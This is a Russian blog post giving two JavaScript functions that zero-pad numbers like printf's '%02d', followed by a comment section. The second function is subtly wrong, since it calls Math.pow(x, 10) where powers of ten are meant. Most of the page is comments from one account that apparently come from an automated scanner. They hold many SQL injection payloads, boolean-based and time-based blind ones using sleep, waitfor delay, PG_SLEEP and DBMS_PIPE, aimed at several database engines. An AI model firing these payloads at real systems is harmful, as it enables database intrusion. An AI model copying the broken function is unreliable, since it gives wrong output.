Недавно понадобилось повторить работу С-функции printf() с параметром "%02d" на JavaScript. Получилась такая функция:

  1. function zeroField (val, numSize)
  2. {
  3.  var outZero = "";
  4.  var zeroCount = numSize - String(val).length;
  5.  for (var x=0; x < zeroCount; ++x) outZero += "0";
  6.  return outZero+val;
  7. }

Конечно, можно поработать со степенями. Но скорость будет уже не та.

  1. function zeroField (val, numSize)
  2. {
  3.  var tmp = String (val);
  4.  for (var x=numSize; x; --x)
  5.  {
  6.    if ( val < Math.pow (x, 10) )
  7.    {
  8.      tmp = "0" + tmp;
  9.    }
  10.  }
  11.  
  12.   return tmp;
  13. }

Ну и напоследок, для тех, у кого есть возможность подключать в проекте сторонние библиотеки: реализация printf() на Javascript.



nEcdyGgx

nEcdyGgx 13 Augustа в 18:08 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 2+696-696-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3+696-696-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3*2>(0+5+696-696) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 2+854-854-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3+854-854-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1 OR 3*2>(0+5+854-854)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 2+940-940-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3+940-940-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3*2>(0+5+940-940) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 2+674-674-1=0+0+0+1 or 'kB2aJeeO'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3+674-674-1=0+0+0+1 or 'kB2aJeeO'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1' OR 3*2>(0+5+674-674) or 'kB2aJeeO'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1" OR 2+808-808-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1" OR 3+808-808-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1" OR 3*2>(0+5+808-808) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

1IvWDF76'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-5 OR 15=(SELECT 15 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-5) OR 889=(SELECT 889 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

SbKeLZaN' OR 109=(SELECT 109 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

nCjm7gFH') OR 219=(SELECT 219 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

M8iSuXkZ')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:13 #

@@JGOSP

nEcdyGgx

nEcdyGgx 13 Augustа в 18:37 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 2+175-175-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3+175-175-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3*2>(0+5+175-175) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 2+130-130-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3+130-130-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1 OR 3*2>(0+5+130-130)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 2+734-734-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 3+734-734-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 3*2>(0+5+734-734) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 2+367-367-1=0+0+0+1 or '7Jx3GF9E'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:41 #

-1' OR 3+367-367-1=0+0+0+1 or '7Jx3GF9E'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1' OR 3*2>(0+5+367-367) or '7Jx3GF9E'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1" OR 2+395-395-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1" OR 3+395-395-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1" OR 3*2>(0+5+395-395) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

N75mNvWq'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-5 OR 758=(SELECT 758 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-5) OR 716=(SELECT 716 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

-1)) OR 64=(SELECT 64 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

VbNJ1jS2' OR 31=(SELECT 31 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

MYQbAwsH') OR 441=(SELECT 441 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

Y51iuHwG')) OR 335=(SELECT 335 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

@@0KsBU

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:55 #

555


Войдите или зарегистрируйтесь, чтобы написать комментарий.